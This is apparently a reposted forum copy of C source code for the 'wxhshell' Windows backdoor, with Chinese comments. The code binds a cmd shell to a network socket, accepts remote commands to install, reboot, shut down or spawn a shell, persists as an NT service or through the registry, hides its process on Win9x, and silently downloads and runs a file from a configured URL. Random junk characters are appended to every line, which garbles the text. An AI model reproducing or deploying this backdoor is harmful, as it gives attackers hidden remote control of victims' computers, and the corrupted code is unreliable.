    switch(cmd[0]) {  )8UWhl=  
  AbYqf%~7`l  
  // 帮助 .On|uC)!  
  case '?': { 5_z33,q2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  OP x`u  
    break; ykX/9y+-s  
  } naw0$kXTA  
  // 安装 fI~Xmw+}}  
  case 'i': { Ts ^"xlK  
    if(Install()) P}TI q#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \u>"s   
    else :E@3Vl#U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cvfr)K[0  
    break; E7Y`|nT  
    }  uJ5Eka  
  // 卸载 |Clut~G  
  case 'r': { HsHB!mQV  
    if(Uninstall()) j.L-{6_s>~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ffv`kn@  
    else PUBWZ^63  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w`il=ZAC  
    break; e*;c(3>(  
    } ulkJR-""&  
  // 显示 wxhshell 所在路径 /U"CO8Da  
  case 'p': { eL\;Nf+Zp  
    char svExeFile[MAX_PATH]; >ey\jDr#O  
    strcpy(svExeFile,"\n\r"); d)R:9M}v  
      strcat(svExeFile,ExeFile); WeQk<y  
        send(wsh,svExeFile,strlen(svExeFile),0); ( 2n>A D_  
    break; 75T7+:p  
    } B,@c; K  
  // 重启 ]):<ZsT  
  case 'b': { 5i1>I=N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mqAWL:VvQ7  
    if(Boot(REBOOT)) ' )?f{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n1&% e6XhO  
    else { S<WdZ=8sA  
    closesocket(wsh); SOi*SwQ8  
    ExitThread(0); oNU0 qZ5  
    } tdSfi<y5I  
    break; I>[RqG  
    } =|%Cu&  
  // 关机 ]&i.b+^  
  case 'd': { 2GWMlI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'iGzkf}j  
    if(Boot(SHUTDOWN)) $;/}?QY(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bVL9vNK  
    else { 4)"n RjGg  
    closesocket(wsh); }f8Uc+  
    ExitThread(0); u#V5?i  
    } 7_mw%|m6@  
    break; =R Ah|e  
    } ALNc'MW!  
  // 获取shell -Gw$#!  
  case 's': { j|/]#@Yr  
    CmdShell(wsh); Okm{Xx  
    closesocket(wsh); C_n9T{k  
    ExitThread(0); 2;^y4ssg  
    break; Nv/v$Z{k  
  }  y7$iOR  
  // 退出 6C-/`>m  
  case 'x': { KA){''>8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z-LB^kc8oQ  
    CloseIt(wsh); f~d d3m('  
    break; @Q^P{  
    } 'C:>UlzLy  
  // 离开 %ix)8+Eb  
  case 'q': { DVK)2La  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C#t'Y*  
    closesocket(wsh); 4 &_NJ\  
    WSACleanup(); {e[c  
    exit(1); sp5eVAd  
    break; Tjl:|F8  
        } 8&Oa_{1+Q  
  } nD)K}4  
  } P4F3Dc  
C!R1})_^  
  // 提示信息 \L(*]:EP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #DN0T' B  
} 1\g6)|R-+  
  } P#_sg0oJF  
9(5Oe H6o?  
  return; GHsilba  
} '^Ql]% _  
` bdZ/*E  
// shell模块句柄 .hba*dV  
int CmdShell(SOCKET sock) z%e8K(  
{ K,w"_T  
STARTUPINFO si; ;w%*M}`5  
ZeroMemory(&si,sizeof(si)); cFJ-Mkl l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T[sDVkCbxf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :k3Nt5t!  
PROCESS_INFORMATION ProcessInfo; ;}1xn3THCn  
char cmdline[]="cmd"; baP^<w^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +Wx{:  
  return 0; qWx][D"  
} (vB<%l.&  
@E-\ J7 yh  
// 自身启动模式 m^#rB`0;L  
int StartFromService(void) d ,Y#H0`  
{ &CIVL#];e  
typedef struct un=2}@ '  
{ Oer^Rk  
  DWORD ExitStatus; .>mr%#p  
  DWORD PebBaseAddress; sL@U  
  DWORD AffinityMask; sPpsq  
  DWORD BasePriority; Wa1, p  
  ULONG UniqueProcessId; dpFVN[\oK  
  ULONG InheritedFromUniqueProcessId; ,uPJ_oZs  
}   PROCESS_BASIC_INFORMATION; _^ 'I  
V`RNM%Y  
PROCNTQSIP NtQueryInformationProcess; qpsv i.S  
L9@&2?k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PIWux {  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IR-dU<<9O  
svuq gSn  
  HANDLE             hProcess; .p=sBLp8  
  PROCESS_BASIC_INFORMATION pbi; *0}3t <5  
^kgBa27  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .-IkL |M  
  if(NULL == hInst ) return 0; }4{fQ`HT  
l6~-8d+lfN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xu>r~^w=S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r)1'ePI"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WJ d%2pO]  
X5khCL Hi  
  if (!NtQueryInformationProcess) return 0; }#qGqY*@LK  
V%_4%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m1IKVa7-\}  
  if(!hProcess) return 0; 6sE{{,OGB  
!p[9{U->o;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :UbM !  
v 0kqu  
  CloseHandle(hProcess); UTSL  
}?@rO`:EF+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1=nUW":  
if(hProcess==NULL) return 0; 0V{(Ru.O  
` AkIK*  
HMODULE hMod; NO0"*c;  
char procName[255]; 9XHz-+bQ  
unsigned long cbNeeded; Mze;k3  
=;3fq-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eXkujjSw"  
(__yh^h:m  
  CloseHandle(hProcess); 7;tJK^J`  
!bD@aVf?5  
if(strstr(procName,"services")) return 1; // 以服务启动 >rP#ukr5  
 X!j{o  
  return 0; // 注册表启动 g >'p>}t  
} v|ck>_" .  
78Aa|AJU  
// 主模块 +dP L>R  
int StartWxhshell(LPSTR lpCmdLine) >^OC{~Az  
{ R@*O!bD  
  SOCKET wsl; d7&eLLx  
BOOL val=TRUE; qA:#iJ8w  
  int port=0; O0:)X)b  
  struct sockaddr_in door; ~-#yOu ,w  
C'!;J  
  if(wscfg.ws_autoins) Install(); tdEnk.O  
4:sjH.u<  
port=atoi(lpCmdLine); HeK h>  
6SC,;p=  
if(port<=0) port=wscfg.ws_port; ZZj~GQL(S  
a2f^x@0k  
  WSADATA data; >z%Q>(F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^@"H1  
9M /SH$Qy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pa^A$fy\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |w*R8ro_  
  door.sin_family = AF_INET; ph}j[Co  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8$c bVMjh  
  door.sin_port = htons(port); z**hD2R!  
oR~e#<$;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 97,rE$bC  
closesocket(wsl); 20TCG0% x  
return 1; bpkwn<7-  
} lg}HGG  
D-U<u@A4  
  if(listen(wsl,2) == INVALID_SOCKET) { ,=~z6[  
closesocket(wsl); ai'4_  
return 1; `$604+G  
} j.i#*tN//  
  Wxhshell(wsl); BT_tOEL#  
  WSACleanup(); : 5U"XY x@  
;D.h 65rr  
return 0; +"ueq  
cM&2SRBZ  
} Q*YYTmZ  
@f!AkzI  
// 以NT服务方式启动 fRvAKz|rL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kL90&nP   
{ #RMI&[M  
DWORD   status = 0; 2`a q**}  
  DWORD   specificError = 0xfffffff; SMf+qiM-E  
=9G;PVk|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u=&Bmn_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T}D<Sc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t0#[#I1+  
  serviceStatus.dwWin32ExitCode     = 0; 8seBT ;S  
  serviceStatus.dwServiceSpecificExitCode = 0; f{lZKfrp  
  serviceStatus.dwCheckPoint       = 0; 6] z}#"  
  serviceStatus.dwWaitHint       = 0; )B!d,HKt;  
A K/z6XGy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 70B)|<$  
  if (hServiceStatusHandle==0) return; k]rLjcB  
kLS(w??T  
status = GetLastError(); ;50_0Mv;(:  
  if (status!=NO_ERROR) .5Q:Xp  
{ l+wc '= ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8z<r.joxC  
    serviceStatus.dwCheckPoint       = 0; DXQi-+?  
    serviceStatus.dwWaitHint       = 0; %g cc y|  
    serviceStatus.dwWin32ExitCode     = status; S*"u/b;  
    serviceStatus.dwServiceSpecificExitCode = specificError; L fl-!1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?`zgq>R}w[  
    return; 1j\aH&)GH  
  } _ jAo:K_Z  
=C f(B<u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dz_eB"}  
  serviceStatus.dwCheckPoint       = 0; DP7C?}(  
  serviceStatus.dwWaitHint       = 0; nMoWOP'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pGIe=Um0W  
} [rreFSy#@  
h7;bclU  
// 处理NT服务事件,比如:启动、停止 ]$M<]w,IJ2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cUK\x2  
{ bO<0qM~  
switch(fdwControl) sl/)|~3!8  
{ \m@Y WO?L  
case SERVICE_CONTROL_STOP: 0ZC,BS`D^  
  serviceStatus.dwWin32ExitCode = 0;  uu%?K@Qq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #^&jW  
  serviceStatus.dwCheckPoint   = 0; |z^pL1Z]5  
  serviceStatus.dwWaitHint     = 0; # 4|9Fj??  
  { xq!IbVV/h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ E=\t9r  
  } (tl}q3U  
  return; .h;Se  
case SERVICE_CONTROL_PAUSE: >&H~nGP.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t#<KxwhcN  
  break; 5]7&IDA]]9  
case SERVICE_CONTROL_CONTINUE: '5};M)w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3D)b*fPc  
  break; .dI)R40L/\  
case SERVICE_CONTROL_INTERROGATE: g-yi xU  
  break; C$#W{2x%6  
}; \~X&o% y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^C9x.4I$)  
} G5{Ot>;*%  
oA~4p(  
// 标准应用程序主函数 `W[+%b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XLTD;[jO  
{ rF'R >/H  
daOS8_py  
// 获取操作系统版本 (BERY  
OsIsNt=GetOsVer(); k_3j '  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qa}>i&uO  
74zSP/G'  
  // 从命令行安装 ,w&:_n  
  if(strpbrk(lpCmdLine,"iI")) Install(); K!b8= K`  
Sue 6+p  
  // 下载执行文件 {TL +7kiX/  
if(wscfg.ws_downexe) { Z~3u:[x";  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6~W u`  
  WinExec(wscfg.ws_filenam,SW_HIDE); bV3lE6z  
} Y jup  
.^XH uN&  
if(!OsIsNt) { _@E "7<\  
// 如果时win9x,隐藏进程并且设置为注册表启动 p(7QAd4  
HideProc(); VjTe4$ *  
StartWxhshell(lpCmdLine); g8yN% )[  
} _=6OP8  
else ^'B-sz{{  
  if(StartFromService()) u3Do~RyL[  
  // 以服务方式启动 7C5pAb:  
  StartServiceCtrlDispatcher(DispatchTable); X&\o{w9%  
else id?_>9@P  
  // 普通方式启动 m.V,I}J.q  
  StartWxhshell(lpCmdLine); a{_ KSg  
O|UxFnB}  
return 0; 8U^D(jrz  
}
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只看该作者 1 发表于: 2006-10-10
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